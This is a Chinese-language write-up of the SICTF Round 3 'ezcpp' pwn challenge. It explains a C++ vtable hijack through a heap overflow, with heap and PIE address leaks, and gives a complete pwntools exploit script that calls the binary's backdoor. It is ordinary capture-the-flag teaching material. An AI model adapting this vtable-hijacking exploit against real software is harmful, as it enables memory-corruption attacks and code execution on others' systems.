vtable
例题 SICTF ROUND3 ezcpp
题目分析 题目上来泄露出了pie,也有后门函数,然后是两个功能get和print,核心思路是劫持vtable
细节阐述 对ida反汇编的函数不理解的需要动态调试看看到底是什么个功能
- stdcin遇到\n才会停止读取
- c++中strings也会在堆上开辟空间
- vtable
堆中会开辟空间存结构体,第二张图中rdi的值heap->elf+0x4d48->函数的实际地址
- 逆向出来的结构
name长度为0x10字节,password长度为0x10字节,第二个chunk的mem位置,第一个存的是vtable,第二个存的是是name_addr
- 利用思路
- 修改图中0x340中的elf+0x4d48为name_addr,在name_addr处写入后门函数,实现对vtable的劫持
- 显然要泄露堆地址,这里有个很巧的地方就是原本存name_addr处的地方是0x348,print函数是用*name来进行打印的。如果把原本的name_addr修改为0x348,那么*0x348刚好就是其本身的值,打印出来就泄露了堆地址
from pwn import *
from pwnlib.util.packing import p64
from pwnlib.util.packing import u64
context(os='linux', arch='amd64', log_level='debug')
def get(name, passwd):
p.recvuntil(b'>> ')
p.sendline(b'G')
p.recvuntil(b'name: ')
p.sendline(name)
p.recvuntil(b'password: ')
p.sendline(passwd)
def show():
p.recvuntil(b'>> ')
p.sendline(b'P')
# p = process("/home/zp9080/PWN/cpp")
p=gdb.debug("/home/zp9080/PWN/cpp",'b *$rebase(0x274C)')
# set offset to 0x40 to check if the offset is correct by comparing with vtable
offset = 0x48
p.recvuntil(b'gift: ')
main = int(p.recvuntil(b'\n')[:-1], 16)
pie = main - 0x2650
success('pie addr -> {}'.format(hex(pie)))
backdoor = pie + 0x22e0
vtable = pie + 0x4d48
info('vtable -> {}'.format(hex(vtable)))
get(b'123',flat([b'a' * 0x10,0, 0x21,vtable, bytes([offset])]))
show()
p.recvuntil(b'Name: ')
ptr = u64(p.recvuntil(b'\n')[:-1].ljust(8, b'\x00'))
# heap
name_addr = ptr - 0x38
get(flat([name_addr]),flat([0x21]))
# if name is 123, rollback success
fake_vtable = name_addr
get(flat([backdoor, backdoor]), flat([b'a' * 0x10,0, 0x21,fake_vtable, name_addr]))
# get or show will trigger the backdoor
show()
p.interactive()